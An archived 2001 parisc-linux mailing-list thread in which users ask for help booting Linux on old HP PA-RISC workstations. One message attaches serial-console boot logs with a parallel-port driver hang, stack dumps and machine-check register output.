Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from omega.erc.wisc.edu (omega.erc.wisc.edu [128.104.186.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85EDB482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Mar 2001 21:52:41 -0700 (MST)
Original-Received: from zeus (zeus.erc.wisc.edu [128.104.187.81])
	by omega.erc.wisc.edu (8.9.3/8.9.3/Debian/GNU) with SMTP id WAA15767
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Mar 2001 22:52:40 -0600
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Xref: news.gmane.org gmane.linux.ports.parisc:10635

I'm new to the list, and looking for a little support getting the PALinux
0.5 iso to load on a J210XC 9000 box.  What's the usual form for posting
kernel panics to this list?  It's fairly long, and I wouldn't want to flood
everyone.

I get this kernel panic when booting off the ISO 0.5 image.

Thanks,
John Moser

--------------------------------
University of Wisconsin-Madison
Engine Research Center, Rm. 1011
Engineering Research
263-2761
Senior Systems Administrator
jmoser@erc.wisc.edu
--------------------------------





From - Thu Nov 08 21:17:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "jean-yves.guillevic" <jean-yves.guillevic@wanadoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hello PARISC-LINUX A short boot
Date: Fri, 30 Mar 2001 23:40:08 +0200
Lines: 740
Approved: news@gmane.org
Message-ID: <009401c0b961$fec40780$140101a8@home233>
Reply-To: "jean-yves.guillevic" <jean-yves.guillevic@wanadoo.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0090_01C0B972.C1511260"
X-Trace: ger.gmane.org 1416619987 17426 80.91.229.3 (22 Nov 2014 01:33:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:07 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>,
	<grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 30 14:36:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from adansonia.wanadoo.fr (smtp-rt-14.wanadoo.fr [193.252.19.224])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9AE56482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Mar 2001 14:36:10 -0700 (MST)
Original-Received: from citronier.wanadoo.fr (193.252.19.222) by adansonia.wanadoo.fr; 30 Mar 2001 23:36:04 +0200
Original-Received: from home233 (193.248.14.231) by citronier.wanadoo.fr; 30 Mar 2001 23:35:54 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3612.1700
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
Xref: news.gmane.org gmane.linux.ports.parisc:10636

This is a multi-part message in MIME format.

------=_NextPart_000_0090_01C0B972.C1511260
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0091_01C0B972.C1511260"


------=_NextPart_001_0091_01C0B972.C1511260
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


Hello All

I was given an old HP715 in good state but not working.
After a while..., i got a few char on the screen and no more.
(the machine was ready to work :-)
I build a linux-box with an old P75 grab some gz/tgz to build=20
a boot disk for this machine. (using  the PA-LINUX links thanks to all =
of contributors)
i connect a serial terminal. then it boot....:-):-)=20
but stop leaving me with the contents of CAPTURE.TXT ( 2 boots).
i plug in the graphic card : it does the same but on screen.

does someone can tell me about the status of the firmware of this =
machine???=20
shall i replace with=20
is there something to do on the hardware???
to me it is the paralel port or something to do with it.
i tryed two kernel :vmlinux-20010115 and vmlinux-20010305 but it does =
the same.
=20
i got a tape with a firmware patch ready to put in but i read that it is =
possible to build a kernel
without parallel support. (less risks for the machine)
where can i find the patchs between PDC ROM rev 1.0 and PDC ROM rev 1.6
if i make a rev 1.6 patch do i have to make a rev 1.5 rev 1.4 etc...?
who can tell me whitch solution is the best and why.

is the following text from your faq the solution for me
a.. I'm booting parisc linux on an early Series 700 workstation, and the =
machine hangs after printing:=20
  ASP version 1 at ..... found
What's going on?=20
This was a bug in the parallel port driver, which was fixed in CVS on =
2001-02-16. You can workaround the problem by using a newer kernel or by =
reconfiguring your kernel and removing support for the parallel port =
(CONFIG_PARPORT_GSC).=20

Salutations
jean-yves.guillevic@wanadoo.fr





------=_NextPart_001_0091_01C0B972.C1511260
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 =
Transitional//EN">
<META content=3D'"MSHTML 4.72.3612.1706"' name=3DGENERATOR>
<STYLE></STYLE>

</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Hello All</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I was given an old HP715 in good state =
but not=20
working.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>After a while..., i got a few char on =
the screen=20
and no more.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>(the machine was ready to work =
:-)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I build a linux-box with an old P75 =
grab some=20
gz/tgz <FONT face=3DArial size=3D2>to build </FONT></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><FONT face=3DArial size=3D2>a boot disk =
for this=20
machine. </FONT></FONT><FONT face=3DArial size=3D2>(using&nbsp; the =
PA-LINUX links=20
thanks to all of contributors)</FONT><FONT face=3DArial =
size=3D2></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>i connect a serial terminal. =
</FONT><FONT=20
face=3DArial size=3D2>then it boot....:-):-) </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>but stop leaving me with the contents =
of=20
CAPTURE.TXT ( 2&nbsp;boots).</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>i plug in the graphic card : it does =
the same but=20
on screen.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>does someone can tell me about the =
status of the=20
firmware of this machine??? </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>shall i replace with </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>is there something to do on the=20
hardware???</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>to me it is the paralel port or =
something to do=20
with it.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>i tryed two kernel :</FONT><FONT =
face=3DArial=20
size=3D2>vmlinux-20010115 and vmlinux-20010305 but it does the =
same.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>i got a tape with a firmware patch =
ready to put in=20
but i read that&nbsp;it is possible to build a kernel</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>without parallel support. (less risks =
for the=20
machine)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>where can i find the patchs between PDC =
ROM rev 1.0=20
and PDC ROM rev 1.6</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>if i make a rev 1.6 patch do i have to =
make a rev=20
1.5 rev 1.4 etc...?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>who can tell me whitch solution is the =
best and=20
why.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>is the following text from your faq the =
solution=20
for me</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>
<LI>I'm booting parisc linux on an early Series 700 workstation, and the =
machine=20
hangs after printing: <PRE>  ASP version 1 at ..... found</PRE>What's =
going on?=20
<P>This was a bug in the parallel port driver, which was fixed in CVS on =

2001-02-16. You can workaround the problem by using a newer kernel or by =

reconfiguring your kernel and removing support for the parallel port=20
(CONFIG_PARPORT_GSC). </P></FONT></LI></DIV>
<DIV><FONT face=3DArial size=3D2>Salutations</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"mailto:jean-yves.guillevic@wanadoo.fr">jean-yves.guillevic@wanado=
o.fr</A></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_001_0091_01C0B972.C1511260--

------=_NextPart_000_0090_01C0B972.C1511260
Content-Type: text/plain;
	name="Capture.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="Capture.txt"




(c) Copyright.  Hewlett-Packard Company.  1992.
All rights reserved.
Portions of this code are (c) Copyright Samsung Electronics Co., Ltd, =
91, 92

PDC ROM rev. 1.0
IODC ROM rev. 1.0
64 MB of memory have been configured.


Selecting a system to boot.
To stop selection process, press and hold the ESCAPE key.....

Booting from:     scsi.2.0     MAXTOR  7213-SCSI

Soft booted.
palo ipl root@jygx mer mar 28 15:57:54 CEST 2001
0/vmlinux 2134906 bytes @ 0x44000
0/palo-cmdline '2/vmlinux HOME=3D/ TERM=3Dlinux console=3Dtty'
/dev/ida1  f0         32      16352
/dev/ida2  83     102400     311296
/dev/ida3  82      16384      86016
Kernel: partition 2 file /vmlinux
ext2 block size 1024
ext2_mount(partition 2) returns 0
ext2_open(/vmlinux) =3D 3
ELF32 executable
Entry 00100160 first 00100000 n 5
Segment 0 load 00100000 size 1426732 mediaptr 0x1000
Segment 1 load 0025e000 size 173080 mediaptr 0x15e000
Segment 2 load 0028c000 size 117508 mediaptr 0x189000
Segment 3 load 002ac000 size 8192 mediaptr 0x1a6000
Segment 4 load 002d7144 size 496 mediaptr 0x1a8144
branching to kernel entry point 0x00100160
PDC Console Initialized
The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02d8000
start_parisc(0x64d58,0x64d58,0x0,0x0)
PALO command line: 'HOME=3D/ TERM=3Dlinux console=3Dtty'
PALO initrd 0-0
model   00003130 00000481 00000000 00000000 7825e314 ffffffff 00000004 =
0000000a 0000000a
vers    00000008
CPUID   vers 0 rev 0
model   9000/715
led_init: CPU_HVERSION 313
Searching for devices in PDC firmware... processor hpa 0xfffbe000
 an older box...
Using Alex's odd 715/old exception, onboard graphics won't be =
inventoried!
Found devices:
1. Strider-33 Core BA (11) at 0xf082f000, versions 0xd, 0x0, 0x70, 0x0, =
0x0
2. Strider-33 Core SCSI (10) at 0xf0825000, versions 0xd, 0x0, 0x71, =
0x0, 0x0
3. Strider-33 Core LAN (802.3) (10) at 0xf0826000, versions 0xd, 0x0, =
0x72, 0x0, 0x0
4. Strider-33 Core HIL (10) at 0xf0821000, versions 0xd, 0x0, 0x73, 0x0, =
0x0
5. Strider-33 Core RS-232 (10) at 0xf0823000, versions 0xd, 0x0, 0x75, =
0x0, 0x0
6. Strider-33 Core RS-232 (10) at 0xf0822000, versions 0xd, 0x0, 0x75, =
0x0, 0x0
7. Strider-33 Core Centronics (10) at 0xf0824000, versions 0xd, 0x0, =
0x74, 0x0, 0x0
8. Strider-33 Audio (10) at 0xf1000000, versions 0xd, 0x0, 0x7b, 0x0, =
0x0
9. Strider-33 Core EISA (11) at 0xfc000000, versions 0xd, 0x0, 0x76, =
0x0, 0x0
10. Strider-33 (715S/33) (0) at 0xfffbe000, versions 0x313, 0x0, 0x4, =
0x0, 0x81
11. Strider-33 (707T) (1) at 0xfffbf000, versions 0x1d, 0x0, 0x9, 0x0, =
0x0
That's a total of 11 devices.
CPU(s): 1 x PA7100 (PCX-T) at 33.333500 MHz
Linux version 2.4.0-test10 (grundler@hpisp747) (gcc version 2.96 =
20000925 (experimental)) #39 Mon Jan 15 10:34:48 PST 2001
free_bootmem(0x2d8800, 0x3d27800)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 16384
zone(0): 8192 pages.
zone(1): 8192 pages.
zone(2): 0 pages.
Kernel command line: HOME=3D/ TERM=3Dlinux console=3Dtty
trap_init
Error reading tod clock
Calibrating delay loop... 33.18 BogoMIPS
Memory: 61460k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
LED (ASP-style) display at 00000000 registered
parport_init_chip: initialize bidirectional-mode.
=FF


Dumping Stack from c3fc8000 to c3fc8980:
8000 00000000 00000040 00000000 00000000 c027346c 00000000 00000000 =
ffffffff
8020 00000002 00000000 00000000 00000000 00000000 00000000 ffffffff =
c0273384
8040 c0273384 00000000 c02ac000 c02ac000 c027860c 00000000 00000000 =
00000000
8060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 =
00000000
8080 00000000 c02ac000 c02ac000 00000000 00000000 00000000 c02ac098 =
c02ac098
80a0 00000000 c02c7978 00000000 c3fc80ac c3fc80ac 00000000 00000000 =
00000000
80c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
80e0 c3fc8000 c011c0fc 00000000 00000003 00000000 00000000 00000031 =
00000000
8100 00000034 00000000 00000000 00000000 00000000 00000000 00000000 =
80000000
8120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
8140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
8160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
8180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
81a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
81c0 00000000 fffffeff 00000000 ffffffff 00000000 c027401c ffffffff =
ffffffff
81e0 ffffffff ffffffff ffffffff ffffffff 00800000 05000000 00000000 =
ffffffff
8200 ffffffff ffffffff 00000400 00000400 00000400 00000400 ffffffff =
ffffffff
8220 ffffffff ffffffff ffffffff ffffffff 00007377 61707065 72000000 =
00000000
8240 00000000 00000000 00000000 00000000 00000000 00000000 00004000 =
01984208
8260 01984208 c013e478 00008000 c3ffeba0 c0225e0c c0235e48 fc4ff000 =
00064d58
8280 00000000 c011a85c c02c6000 00004000 01984208 c02c6000 00000000 =
0004000a
82a0 c02734a0 0000000b 00000024 0000003c 0000003e c0273000 00000001 =
00000000
82c0 c01002a0 c02b2b4b 00000000 c02b2b6f 0000000b c02734a0 c0273000 =
08000058
82e0 00000004 000000ff 0000038c 00000000 f0823800 f0823800 f0823800 =
00000008
8300 002b2540 c025e000 00000000 009896b2 c02ac8c0 000068b8 00008000 =
fed7fdff
8320 fecf7e9e 193a4439 00400000 dc31c339 0004c010 480e9bd8 02005612 =
1945f5bf
8340 401088a0 06c09809 0730e552 42568065 817a0fc4 4c005111 80b84802 =
c17c726b
8360 1806b589 9700c1e7 9e10a080 d0905c5d 4110b902 421e2491 6882ac0f =
5b7c003f
8380 2902b518 50746140 2657e10c a1bda747 80140100 14c00111 9a091d40 =
8c404c45
83a0 0a166819 8094d301 02ca0801 94095019 c00c21b2 700210e9 23381802 =
c42003e6
83c0 20109003 18228004 634a0244 462444d0 2a92b201 8500c158 5d54041d =
5f9aa6d4
83e0 5100c200 d0140400 dc9c1908 0b016c94 00080174 b018052a 43666054 =
045d1205
8400 20c40029 03001010 08926810 d02038c1 32694520 bb585e7e 00000000 =
00000000
8420 c3fc8500 c0105c38 00000000 00000000 00000000 00000000 00000000 =
00000000
8440 c011a84c c011a850 634a0244 462444d0 00279000 00000000 c0278040 =
c0278064
8460 00000000 c0278204 00000000 00000000 00000000 c3fc8470 00000000 =
00000000
8480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
84a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
84c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
84e0 00000000 00000000 00000000 c0105c48 00000000 00000000 00000000 =
00000000
8500 c02ac000 00000000 c02ac640 00000000 00000000 00000000 00000000 =
00000000
8520 00000000 00000000 00000000 c01002b4 00000000 00000000 00000000 =
00000000
8540 00000000 00000000 00000000 00000000 c3fc8000 c027860c c02ac000 =
00000000
8560 c02ac640 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
8580 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
85a0 00000000 00000000 00000000 c028d0d8 00000000 00000000 00000000 =
00000000
85c0 c02ac640 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
85e0 00000000 00000000 00000000 c029ed20 00000000 00000000 00000000 =
00000000
8600 fc4ff000 c02c7800 c02ca000 c025e000 c02c6000 00000000 c02ac640 =
00000000
8620 00000000 00000000 00000000 c029f560 00000000 00000000 00000000 =
00000000
8640 c02ca000 c025e000 c02c6000 00000000 c02ac640 c3ffec20 00000000 =
00000000
8660 00000000 00000000 00000000 c02a29fc 00000000 00000000 00000000 =
00000000
8680 c02ca000 c025e000 c02c6000 00000000 c02ac640 c02736b0 c3fc30a0 =
00000000
86a0 00000000 00000000 00000000 c0109b90 00000000 00000000 00000000 =
00000000
86c0 00000000 00000000 fffbe000 00000003 00000023 c3fc47e0 00000000 =
c02a8698
86e0 c02c6b30 00000000 00000000 c0109b90 00000000 00000000 00000000 =
00000000
8700 00000006 c02a8930 c02c6bf0 c3fcf1a0 f0800000 00000001 c0251804 =
c0251808
8720 00000000 00000000 00000000 c029f930 00000000 00000000 00000000 =
00000000
8740 c02c6b30 00000000 c3fcf1a0 00000000 c3fcf1a0 f0824804 c025c424 =
c025c400
8760 001a5a59 001a5a59 c028d8e0 c02a297c c02c7800 c02c6800 c0265000 =
c02c6b30
8780 c02a8930 c02c6bf0 f0824800 00000000 00000000 00000000 00000041 =
00000058
87a0 ffffffff 001a5a59 c028d8e0 c3fc8788 c02c7800 c02c6800 c0265000 =
00000058
87c0 f0824800 f0824804 c3fc8764 c3fcf1a0 f0824800 c3fcf1a0 c025c423 =
c0273000
87e0 00000001 c02b2b71 00000004 c011a85c 00000022 c02b2b71 0000000b =
c02734a0
8800 00000000 0004000a c02734a0 0000000b 00000032 0000003c 0000003e =
c0273000
8820 00000001 c02b2b7d 00000004 c02b2b4b 00000031 c02b2b7d 0000000b =
c02734a0
8840 c0273000 08000058 00000004 000000ff 0000038c 00000000 f0823800 =
f0823800
8860 f0823800 00000008 c3fc3120 c3fce220 00000000 009896b2 c3fc8a40 =
000068b8
8880 00008000 fed7fdff fc4ff000 c02c7800 c02c6800 c0265000 00000058 =
f0824800
88a0 f0824804 1945f5bf 401088a0 06c09809 0730e552 42568065 817a0fc4 =
4c005111
88c0 80b84802 c17c726b 1806b589 9700c1e7 9e10a080 d0905c5d 4110b902 =
421e2491
88e0 6882ac0f 5b7c003f 2902b518 c02a2620 2657e10c a1bda747 80140100 =
14c00111
8900 00000058 f0824800 c3fc3120 c3fce220 c3fc8788 94095019 c00c21b2 =
700210e9
8920 23381802 c42003e6 20109003 c02a2380 634a0244 462444d0 2a92b201 =
8500c158
8940 0000000c c3fc8788 5100c200 d0140400 dc9c1908 0b016c94 00080174 =
b018052a
8960 43666054 045d1205 20c40029 c02a2478 08926810 d02038c1 32694520 =
bb585e7e

High Priority Machine Check (HPMC): Code=3D1 regs=3Dc0266080 =
(Addr=3D00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001011
r0-3     00000000 c01dd800 c02a24b8 c3fc8788
r4-7     0000002c c3fce220 f0824800 ffffffdf
r8-11    ffffffff 00000000 c028d8e0 001a5a59
r12-15   001a5a59 000ff000 f000015c 00000000
r16-19   00000000 08000058 00000004 0000000b
r20-23   000000ff 00000041 c3fc3000 0000000b
r24-27   ffffffff f0824800 f0824800 c025e000
r28-31   000000ff 00000080 c3fc8980 c012c984
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c01dd94c c01dd950
 IIR: e840c000    ISR: 00000000  IOR: c02a24b8
ORIG_R28: 00000000



(c) Copyright.  Hewlett-Packard Company.  1992.
All rights reserved.
Portions of this code are (c) Copyright Samsung Electronics Co., Ltd, =
91, 92

PDC ROM rev. 1.0
IODC ROM rev. 1.0
64 MB of memory have been configured.


Selecting a system to boot.
To stop selection process, press and hold the ESCAPE key.


(c) Copyright.  Hewlett-Packard Company.  1992.
All rights reserved.
Portions of this code are (c) Copyright Samsung Electronics Co., Ltd, =
91, 92

PDC ROM rev. 1.0
IODC ROM rev. 1.0
64 MB of memory have been configured.


Selecting a system to boot.
To stop selection process, press and hold the ESCAPE key.....

Booting from:     scsi.2.0     MAXTOR  7213-SCSI

Hard booted.
palo ipl root@jygx mer mar 28 15:57:54 CEST 2001
0/vmlinux 2134906 bytes @ 0x44000
0/palo-cmdline '2/vmlinux HOME=3D/ TERM=3Dlinux console=3Dtty'
/dev/ida1  f0         32      16352
/dev/ida2  83     102400     311296
/dev/ida3  82      16384      86016
Kernel: partition 2 file /vmlinux
ext2 block size 1024
ext2_mount(partition 2) returns 0
ext2_open(/vmlinux) =3D 3
ELF32 executable
Entry 00100160 first 00100000 n 5
Segment 0 load 00100000 size 1426732 mediaptr 0x1000
Segment 1 load 0025e000 size 173080 mediaptr 0x15e000
Segment 2 load 0028c000 size 117508 mediaptr 0x189000
Segment 3 load 002ac000 size 8192 mediaptr 0x1a6000
Segment 4 load 002d7144 size 496 mediaptr 0x1a8144
branching to kernel entry point 0x00100160
PDC Console Initialized
The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02d8000
start_parisc(0x64d58,0x64d58,0x0,0x0)
PALO command line: 'HOME=3D/ TERM=3Dlinux console=3Dtty'
PALO initrd 0-0
model   00003130 00000481 00000000 00000000 7825e314 ffffffff 00000004 =
0000000a 0000000a
vers    00000008
CPUID   vers 0 rev 0
model   9000/715
led_init: CPU_HVERSION 313
Searching for devices in PDC firmware... processor hpa 0xfffbe000
 an older box...
Using Alex's odd 715/old exception, onboard graphics won't be =
inventoried!
Found devices:
1. Strider-33 Core BA (11) at 0xf082f000, versions 0xd, 0x0, 0x70, 0x0, =
0x0
2. Strider-33 Core SCSI (10) at 0xf0825000, versions 0xd, 0x0, 0x71, =
0x0, 0x0
3. Strider-33 Core LAN (802.3) (10) at 0xf0826000, versions 0xd, 0x0, =
0x72, 0x0, 0x0
4. Strider-33 Core HIL (10) at 0xf0821000, versions 0xd, 0x0, 0x73, 0x0, =
0x0
5. Strider-33 Core RS-232 (10) at 0xf0823000, versions 0xd, 0x0, 0x75, =
0x0, 0x0
6. Strider-33 Core RS-232 (10) at 0xf0822000, versions 0xd, 0x0, 0x75, =
0x0, 0x0
7. Strider-33 Core Centronics (10) at 0xf0824000, versions 0xd, 0x0, =
0x74, 0x0, 0x0
8. Strider-33 Audio (10) at 0xf1000000, versions 0xd, 0x0, 0x7b, 0x0, =
0x0
9. Strider-33 Core EISA (11) at 0xfc000000, versions 0xd, 0x0, 0x76, =
0x0, 0x0
10. Strider-33 (715S/33) (0) at 0xfffbe000, versions 0x313, 0x0, 0x4, =
0x0, 0x81
11. Strider-33 (707T) (1) at 0xfffbf000, versions 0x1d, 0x0, 0x9, 0x0, =
0x0
That's a total of 11 devices.
CPU(s): 1 x PA7100 (PCX-T) at 33.333500 MHz
Linux version 2.4.0-test10 (grundler@hpisp747) (gcc version 2.96 =
20000925 (experimental)) #39 Mon Jan 15 10:34:48 PST 2001
free_bootmem(0x2d8800, 0x3d27800)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 16384
zone(0): 8192 pages.
zone(1): 8192 pages.
zone(2): 0 pages.
Kernel command line: HOME=3D/ TERM=3Dlinux console=3Dtty
trap_init
Error reading tod clock
Calibrating delay loop... 33.18 BogoMIPS
Memory: 61460k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
LED (ASP-style) display at 00000000 registered
parport_init_chip: initialize bidirectional-mode.



Dumping Stack from c3fc8000 to c3fc8980:
8000 00000000 00000040 00000000 00000000 c027346c 00000000 00000000 =
ffffffff
8020 00000002 00000000 00000000 00000000 00000000 00000000 ffffffff =
c0273384
8040 c0273384 00000000 c02ac000 c02ac000 c027860c 00000000 00000000 =
00000000
8060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 =
00000000
8080 00000000 c02ac000 c02ac000 00000000 00000000 00000000 c02ac098 =
c02ac098
80a0 00000000 c02c7978 00000000 c3fc80ac c3fc80ac 00000000 00000000 =
00000000
80c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
80e0 c3fc8000 c011c0fc 00000000 00000003 00000000 00000000 00000031 =
00000000
8100 00000034 00000000 00000000 00000000 00000000 00000000 00000000 =
80000000
8120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
8140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
8160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
8180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
81a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
81c0 00000000 fffffeff 00000000 ffffffff 00000000 c027401c ffffffff =
ffffffff
81e0 ffffffff ffffffff ffffffff ffffffff 00800000 05000000 00000000 =
ffffffff
8200 ffffffff ffffffff 00000400 00000400 00000400 00000400 ffffffff =
ffffffff
8220 ffffffff ffffffff ffffffff ffffffff 00007377 61707065 72000000 =
00000000
8240 00000000 00000000 00000000 00000000 00000000 00000000 00004000 =
01984208
8260 01984208 c013e478 00008000 c3ffeba0 c0225e0c c0235e48 fc4ff000 =
00064d58
8280 00000000 c011a85c c02c6000 00004000 01984208 c02c6000 00000000 =
0004000a
82a0 c02734a0 0000000b 00000024 0000003c 0000003e c0273000 00000001 =
00000000
82c0 c01002a0 c02b2b4b 00000000 c02b2b6f 0000000b c02734a0 c0273000 =
08000058
82e0 f000069c 000000ff 0000038c 00000000 f0823800 f0823800 f0823800 =
00000008
8300 002b2540 c025e000 00000000 009896b2 c02ac8c0 000068b8 80018820 =
fe5759ff
8320 fedf7e9e 191a4439 00400000 8c21c139 00004010 480809c0 02001400 =
18019539
8340 40100000 02c08008 0330e140 40520065 81520504 04005011 80b84802 =
c13c726a
8360 18063001 930041a3 9c108000 d0005c5d 01103100 000e0401 6880ac0f =
481c0013
8380 2002a400 10746000 0014210c 21a42505 00140100 10800111 82091500 =
08400045
83a0 0a000809 8084d301 020a0801 84090009 c00c0032 60021009 03300802 =
44000024
83c0 00001000 18028004 20420200 42244490 2080a200 8400c050 5514040d =
5e92a4c4
83e0 41004200 c0140400 d4801800 01014884 00080024 0018050a 42462014 =
04140204
8400 20440001 02001010 00000810 90003801 02694100 bb58560c 00000000 =
00000000
8420 c3fc8500 c0105c38 00000000 00000000 00000000 00000000 00000000 =
00000000
8440 c011a84c c011a850 20420200 42244490 00279000 00000000 c0278040 =
c0278064
8460 00000000 c0278204 00000000 00000000 00000000 c3fc8470 00000000 =
00000000
8480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
84a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
84c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
84e0 00000000 00000000 00000000 c0105c48 00000000 00000000 00000000 =
00000000
8500 c02ac000 00000000 c02ac640 00000000 00000000 00000000 00000000 =
00000000
8520 00000000 00000000 00000000 c01002b4 00000000 00000000 00000000 =
00000000
8540 00000000 00000000 00000000 00000000 c3fc8000 c027860c c02ac000 =
00000000
8560 c02ac640 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
8580 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
85a0 00000000 00000000 00000000 c028d0d8 00000000 00000000 00000000 =
00000000
85c0 c02ac640 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
85e0 00000000 00000000 00000000 c029ed20 00000000 00000000 00000000 =
00000000
8600 fc4ff000 c02c7800 c02ca000 c025e000 c02c6000 00000000 c02ac640 =
00000000
8620 00000000 00000000 00000000 c029f560 00000000 00000000 00000000 =
00000000
8640 c02ca000 c025e000 c02c6000 00000000 c02ac640 c3ffec20 00000000 =
00000000
8660 00000000 00000000 00000000 c02a29fc 00000000 00000000 00000000 =
00000000
8680 c02ca000 c025e000 c02c6000 00000000 c02ac640 c02736b0 c3fc30a0 =
00000000
86a0 00000000 00000000 00000000 c0109b90 00000000 00000000 00000000 =
00000000
86c0 00000000 00000000 fffbe000 00000003 00000023 c3fc47e0 00000000 =
c02a8698
86e0 c02c6b30 00000000 00000000 c0109b90 00000000 00000000 00000000 =
00000000
8700 00000006 c02a8930 c02c6bf0 c3fcf1a0 f0800000 00000001 c0251804 =
c0251808
8720 00000000 00000000 00000000 c029f930 00000000 00000000 00000000 =
00000000
8740 c02c6b30 00000000 c3fcf1a0 00000000 c3fcf1a0 f0824804 c025c424 =
c025c400
8760 001a5a59 001a5a59 c028d8e0 c02a297c c02c7800 c02c6800 c0265000 =
c02c6b30
